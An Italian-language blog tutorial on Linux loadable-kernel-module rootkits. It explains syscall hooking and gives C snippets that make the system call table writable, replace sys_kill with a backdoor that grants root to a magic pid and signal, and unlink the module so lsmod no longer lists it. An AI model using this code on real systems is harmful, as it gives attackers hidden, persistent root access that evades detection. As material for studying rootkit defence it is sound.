kernel-hacking

Kernel Hacking: come nascondersi in un sistema violato

Indice dei contenuti

Linux

Come fa un Hacker a nascondere le proprie tracce in un sistema violato? Quali sono le tecniche attualmente adottate e perchè alcuni strumenti non sono in grado di rilevare backdoor sul proprio server?

 
La chiave di tutto questo è il Kernel: il nucleo operativo della vostra infrastruttura.

 
Linux, quindi il Kernel, gestisce tutte le funzioni di base di un sistema operativo come l’allocazione della memoria, l’esecuzione dei processi oppure l’accesso all’hardware e si interfaccia alle applicazioni in esecuzione per mezzo delle “chiamate di sistema”, più comunemente dette “syscall”.

Questo tipo di lavoro viene svolto in maniera costante quando si usa un programma, difatti anche un semplice listing del contenuto di una directory, che richiede l’interazione con il Kernel per poter accedere al device disco, processa più di una decina di syscall:

syscalls

Immaginate adesso a cosa potrebbe succedere se un Hacker riuscisse ad intercettare le syscall e ad alterare la loro risposta prima che venga fornita all’utente; otterrebbe il pieno controllo del sistema, potendo aggiungere funzionalità a suo vantaggio ed avendo la possibilità di rendere “invisibili” file e processi.

Un attacker è in grado di dirottare una determinata syscall facendo leva su quella feature del Kernel che permette di caricare dinamicamente del codice aggiuntivo per mezzo di un “modulo”, utilizzato generalmente per installare driver di una nuova periferica (come ad esempio una webcam) oppure gestire nuove syscall.

Questa tecnica, oltre che essere difficilmente rilevabile, rende inefficaci tutti quegli strumenti che si affidano sulle firme digitali (signatures) dei binari per verificare l’integrità dei dati e le intrusioni.

Ecco uno screenshot di un sistema infettato con un rootkit LKM, dove un Hacker può ottenere privilegi di utente “root” senza dovere alterare i file di sistema, avendo modificato la chiamata di sistema “sys_kill”:

kernel3

Analizzando il codice della backdoor, scaricabile qui, abbiamo modo di constatare che le procedure implementate dall’attacker sono essenzialmente molto semplici e nello specifico:

  • Ricavare la locazione in memoria della sezione dove sono contenuti gli indirizzi delle system call (System Call Table)

L’indirizzo è salvato nella “symbol table” usata dal Kernel, nel file /boot/System.map:

sys_call_table

  • Rendere scrivibile la System Call Table, impostata in read-only di default (come specificato dal carattere ‘R’ nella sezione “type”):

syscall_ro

La protezione può essere disabilitata con poche righe di codice:

int set_page_rw(unsigned long addr)

{

    unsigned int level;

    pte_t *pte = lookup_address(addr, &level);

    if (pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;

    return 0;

}

A livello logico e di programmazione, questa routine è piuttosto semplice.

La struttura “pte_t” è definita in “include/asm/page.h”:

typedef struct { unsigned long pte; } pte_t;

mentre “_PAGE_BIT_RW” e “_PAGE_RW” in “include/asm/pgtable_types.h”:

#define _PAGE_BIT_RW            1       /* writeable */

#define _PAGE_RW        (_AT(pteval_t, 1) << _PAGE_BIT_RW)
  • Infine si può modificare il puntamento della chiamata di sistema da intercettare.
sys_call_table[__NR_kill] = sys_evil_kill;

asmlinkage long sys_evil_kill(int pid, int sig){

    if ( (pid==61282) && (sig==1) ){

    struct cred *credentials = prepare_creds();

    credentials->uid = credentials->euid = 0;

    credentials->gid = credentials->egid = 0;

    commit_creds(credentials);

    return 666;

    }

    return original_sys_kill(pid,sig);

}

Un Hacker può occultare questo genere di rootkit eliminando la propria entry nella lista dei moduli installati, utilizzando le funzioni “list_del” e “kobject_del”:

static struct list_head *module_previous;

static struct list_head *module_kobj_previous;

module_previous = THIS_MODULE->list.prev;

list_del(&THIS_MODULE->list);

module_kobj_previous = THIS_MODULE->mkobj.kobj.entry.prev;

kobject_del(&THIS_MODULE->mkobj.kobj);

list_del(&THIS_MODULE->mkobj.kobj.entry);

Processando queste istruzioni, la backdoor non verrà visualizzata dall’output del comando “lsmod”:

lsmod

Conclusioni

Affrontando il tema dei Rootkit LKM, abbiamo svelato le tecniche per implementarli e dimostrato quanto siano difficilmente rilevabili senza strumenti specifici.

Il codice sorgente, fornito a scopo didattico, è rilasciato con licenza GNU GPLv3 e può essere copiato e ridistribuito con o senza modifiche, gratuitamente.

Spero che attraverso queste poche righe e immagini sia riuscito a trasmettervi un po’ della passione che provo verso il mio lavoro ed acceso il desiderio di approfondire, che unito all’impegno e la creatività, che contraddistingue ogni Hacker, è la chiave per tramutare un’idea in qualcosa di concreto.

 

CONDIVIDI SUI SOCIAL

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

+ 52 = 55